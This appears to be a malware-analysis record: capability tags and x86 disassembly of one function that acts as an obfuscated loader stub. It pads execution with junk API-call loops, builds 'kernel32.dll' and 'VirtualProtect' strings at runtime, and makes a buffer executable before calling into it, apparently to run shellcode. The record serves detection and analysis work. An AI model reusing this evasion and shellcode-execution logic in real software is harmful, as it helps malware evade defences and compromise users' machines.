Function at 0x800550
Capabilities:
Allocate or change rwx memory
Copy file
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Manipulate console buffer
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2268
call fcn.00407a40
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x4c]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
cmp esi, 0x2cdbe
jge 0x800586
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
call edi
cmp dword [0xb8a614], 0x6fb
jne 0x8005a4
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
cmp esi, 0x1e9afa0a
jle 0x8005bc
cmp ebx, 0xc10c98
je 0x8005bc
cmp ebp, 0x952fcbc
jne 0x8005c5
inc esi
cmp esi, 0x80c66
jl 0x800574
cmp dword [0xb8a614], 0xcf8
jne 0x80063c
lea ecx, [esp + 0x28]
push ecx
push 0
push 0x402a74
push 0
call dword [sym.imp.WINHTTP.dll_WinHttpGetProxyForUrl]
cmp dword [0xb8a614], 0x3a
jne 0x80060d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleMode]
lea edx, [esp + 0x278]
push edx
push 0
push 0x402a9c
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
call fcn.00402e2c
add esp, 4
push 0
push 0
call fcn.00402cf0
push 0
push 0
call fcn.00402dec
push 0
push 0
call fcn.00402dec
push 0
call fcn.00402eea
add esp, 0x1c
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
xor esi, esi
cmp esi, 0x408
jne 0x80065d
mov eax, 0x5d1
add dword [0xb8a614], eax
cmp dword [0xb8a614], 3
jne 0x800689
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
push 0x402ac0
push eax
mov dword [esp + 0x28], eax
call edi
push 0
push 0
lea ecx, [esp + 0xa80]
push ecx
call ebx
inc esi
cmp esi, 0x1518d4
jl 0x80064a
mov edx, dword [0xb8a614]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x80b664], eax
mov eax, dword [0xb8a614]
xor esi, esi
test eax, eax
je 0x8006f4
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea ecx, [ecx]
cmp eax, 0xfe
jne 0x8006cb
push 0
call ebx
call fcn.00800160
mov eax, dword [0xb8a614]
cmp eax, 0x29
jne 0x8006ef
push 0
push 0
lea eax, [esp + 0xa80]
push eax
push 0
call edi
mov eax, dword [0xb8a614]
inc esi
cmp esi, eax
jb 0x8006c0
cmp eax, 0x70
jne 0x8007ed
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
mov esi, dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
push 0
push 0
call esi
push 0
push 0x402ac8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
lea ecx, [esp + 0xa78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
lea edx, [esp + 0x127c]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
push 0
lea eax, [esp + 0x27c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll__hread]
push 0
push 0x402ae8
push 0x402b08
call dword [sym.imp.KERNEL32.dll_CopyFileW]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
push 0
push 0
lea ecx, [esp + 0x1a80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push 0
push 0
call esi
push 0
lea edx, [esp + 0x67c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
mov eax, dword [0xb8a614]
mov esi, dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
mov edi, dword [sym.imp.KERNEL32.dll_FindClose]
mov ebp, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov dword [esp + 0x18], 0x9682ab
lea ecx, [ecx]
cmp eax, 0xdf
jne 0x80091d
push 0
push 0
push 0
call esi
push 0
call edi
xor eax, eax
lea edx, [esp + 0x3c]
push edx
push eax
push eax
lea ecx, [esp + 0x1a84]
push ecx
push eax
mov dword [esp + 0x28], eax
call ebp
lea edx, [esp + 0x20]
push edx
push 0
push 0
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
lea eax, [esp + 0x40]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ResetWriteWatch]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
call dword [sym.imp.KERNEL32.dll_AllocConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea eax, [esp + 0x28]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalCompact]
push 0
lea ecx, [esp + 0x67c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesW]
lea edx, [esp + 0x48]
push edx
push SetLocaleInfoA
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringA]
lea eax, [esp + 0x1278]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [0xb8a614]
dec dword [esp + 0x18]
jne 0x800810
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov esi, 0x1ff896f4
push 0
call edi
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x800932
push 0x8068d0
mov dword [0x8068d4], 0x32336c65
mov dword [0x8068d8], 0x6c6c642e
mov dword [0x8068d0], 0x6e72656b
mov byte [0x8068dc], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [0xb8a614]
lea ecx, [esp + 0x1c]
push ecx
push 0x40
mov dword [0xb8a610], eax
mov eax, dword [0x80b664]
push edx
push eax
mov byte [0x8068db], 0x65
mov dword [0x8068d1], 0x75747269
mov word [0x8068d5], 0x6c61
mov byte [0x8068d0], 0x56
mov word [0x8068dc], 0x7463
mov byte [0x8068de], 0
mov dword [0x8068d7], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.008003a0
mov edi, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
jmp 0x8009e0
cmp dword [0xb8a614], 0xba
jne 0x800a16
push 0
lea ecx, [esp + 0x1a7c]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x30]
push ecx
push 0
lea edx, [esp + 0x1290]
push edx
push 0x402b60
call edi
cmp esi, 0x2f64
jne 0x800a29
mov eax, 0
add dword [0x80b664], eax
inc esi
cmp esi, 0x1605a
jl 0x8009e0
mov esi, dword [sym.imp.ADVAPI32.dll_AbortSystemShutdownW]
mov edi, dword [sym.imp.WINHTTP.dll_WinHttpWriteData]
mov ebx, 0x1e6dcb
cmp dword [0xb8a614], 0x85
jne 0x800a5d
push 0
call esi
push 0
push 0
push 0
push 0
call edi
dec ebx
jne 0x800a43
mov eax, 0x73
mov ecx, 0x6d
mov word [0xb8a61a], ax
mov word [0xb8a61e], cx
xor ecx, ecx
mov edx, 0x33
mov eax, 0x67
mov word [0xb8a622], dx
mov word [0xb8a62e], cx
mov word [0xb8a620], ax
mov ecx, 0x69
mov edx, 0x6d
mov eax, 0x6c
push 0xb8a618
mov dword [0xb8a628], 0x6c0064
mov word [0xb8a61c], cx
mov word [0xb8a618], dx
mov word [0xb8a62c], ax
mov dword [0xb8a624], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0xb8a614], 0xc30
jne 0x800b9f
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x138]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push ebx
lea ecx, [esp + 0x20]
push ecx
push ebx
lea edx, [esp + 0x684]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
push reloc.KERNEL32.dll_GetEnvironmentStringsW
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
lea eax, [esp + 0x27c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VerLanguageNameA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationA]
lea ecx, [esp + 0x28]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
lea edx, [esp + 0xa7c]
push edx
push 0x402c00
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
lea eax, [esp + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov ecx, dword [esp + 0x1c]
push ebx
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret